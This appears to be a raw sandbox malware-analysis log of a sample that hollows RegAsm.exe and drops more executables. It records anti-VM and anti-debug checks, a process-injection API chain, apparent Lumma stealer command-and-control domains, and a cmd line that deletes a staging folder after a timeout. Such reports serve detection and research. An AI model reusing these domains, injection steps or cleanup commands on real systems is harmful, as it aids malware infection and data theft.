Source: RegAsm.exe, 00000003.00000002.2595193937.00000000014F1000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2595193937.00000000014C0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.2584297027.0000000001446000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.2584297027.0000000001495000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2863943868.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2863943868.000000000121F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3026337297.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2766184934.00000000012BB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2766184934.000000000132B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 0000001B.00000002.2766184934.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: RegAsm.exe, 0000001B.00000002.2766184934.00000000012BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareW
Source: RegAsm.exe, 00000012.00000002.3026337297.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarev

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-70027
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-70043
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-71372

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 10_2_00446BB0 LdrInitializeThunk,

10_2_00446BB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041D160 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

3_2_0041D160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_00418A9A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004014AD mov eax, dword ptr fs:[00000030h]	3_2_004014AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040148A mov eax, dword ptr fs:[00000030h]	3_2_0040148A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004014A2 mov eax, dword ptr fs:[00000030h]	3_2_004014A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004186E3 mov eax, dword ptr fs:[00000030h]	3_2_004186E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004186E4 mov eax, dword ptr fs:[00000030h]	3_2_004186E4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040884C CopyFileA,GetProcessHeap,RtlAllocateHeap,StrCmpCA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrlenA,lstrlenA,DeleteFileA,

3_2_0040884C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041D160 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0041D160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041DADC _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0041DADC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042777E SetUnhandledExceptionFilter,	3_2_0042777E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C54B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6C54B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C54B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C54B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6FAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C6FAC62

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 3664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DBGIJEHIID.exe PID: 6720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1916, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\userGIEGHJEGHJ.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\userIJEGDBGDBF.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_02CE2139 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_02CE2139

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\userGIEGHJEGHJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\userIJEGDBGDBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: KECBKKEBKE.exe, 00000007.00000002.2542346827.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: delaylacedmn.site
Source: KECBKKEBKE.exe, 00000007.00000002.2542346827.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: writekdmsnu.site
Source: KECBKKEBKE.exe, 00000007.00000002.2542346827.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: agentyanlark.site
Source: KECBKKEBKE.exe, 00000007.00000002.2542346827.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: bellykmrebk.site
Source: KECBKKEBKE.exe, 00000007.00000002.2542346827.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: underlinemdsj.site
Source: KECBKKEBKE.exe, 00000007.00000002.2542346827.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: commandejorsk.site
Source: KECBKKEBKE.exe, 00000007.00000002.2542346827.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: possiwreeste.site
Source: KECBKKEBKE.exe, 00000007.00000002.2542346827.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: famikyjdiag.site

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004124A8 __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		3_2_004124A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041257F __EH_prolog3_catch_GS,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		3_2_0041257F

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: F7B008	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44C000	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44F000	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 45E000	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 10F2008	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: C28008	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 65C000	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: CA4008	Jump to behavior
Source: C:\Users\userGIEGHJEGHJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\userGIEGHJEGHJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\userGIEGHJEGHJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 430000
Source: C:\Users\userGIEGHJEGHJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43D000
Source: C:\Users\userGIEGHJEGHJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 670000
Source: C:\Users\userGIEGHJEGHJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 671000
Source: C:\Users\userGIEGHJEGHJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: E92008
Source: C:\Users\userIJEGDBGDBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\userIJEGDBGDBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\userIJEGDBGDBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44C000
Source: C:\Users\userIJEGDBGDBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 44F000
Source: C:\Users\userIJEGDBGDBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 45E000
Source: C:\Users\userIJEGDBGDBF.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1156008

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\KECBKKEBKE.exe "C:\ProgramData\KECBKKEBKE.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\EGDGCGCFHI.exe "C:\ProgramData\EGDGCGCFHI.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\DBGIJEHIID.exe "C:\ProgramData\DBGIJEHIID.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\FIJKEHJJDAAK" & exit	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userGIEGHJEGHJ.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIJEGDBGDBF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userGIEGHJEGHJ.exe "C:\Users\userGIEGHJEGHJ.exe"
Source: C:\Users\userGIEGHJEGHJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userIJEGDBGDBF.exe "C:\Users\userIJEGDBGDBF.exe"
Source: C:\Users\userIJEGDBGDBF.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040111D cpuid

3_2_0040111D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	3_2_00410DDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_0042B21C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	3_2_0042B311
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,InterlockedDecrement,InterlockedDecrement,InterlockedDecrement,_free,_free,	3_2_00429BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	3_2_0042B3B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	3_2_0042B413
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtGetStringTypeA,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,_free,_free,_free,_free,_free,_free,_free,_free,_free,InterlockedDecrement,	3_2_0042AC90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__invoke_watson,GetLocaleInfoW,GetLocaleInfoW,__calloc_crt,GetLocaleInfoW,_free,GetLocaleInfoW,	3_2_00425533
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	3_2_0042B5E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,malloc,GetLocaleInfoW,WideCharToMultiByte,__freea,	3_2_004275EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_004276C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_0042B6D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesA,	3_2_0042B6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,_free,_free,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_free,_free,_free,InterlockedDecrement,InterlockedDecrement,_free,_free,	3_2_00429EBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,_LocaleUpdate::_LocaleUpdate,___ascii_strnicmp,__tolower_l,__tolower_l,	3_2_0042E6BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	3_2_0042B773
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	3_2_00428F14
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	3_2_0042B737
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	3_2_0042E7F4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\KECBKKEBKE.exe	Queries volume information: C:\ProgramData\KECBKKEBKE.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\EGDGCGCFHI.exe	Queries volume information: C:\ProgramData\EGDGCGCFHI.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\DBGIJEHIID.exe	Queries volume information: C:\ProgramData\DBGIJEHIID.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
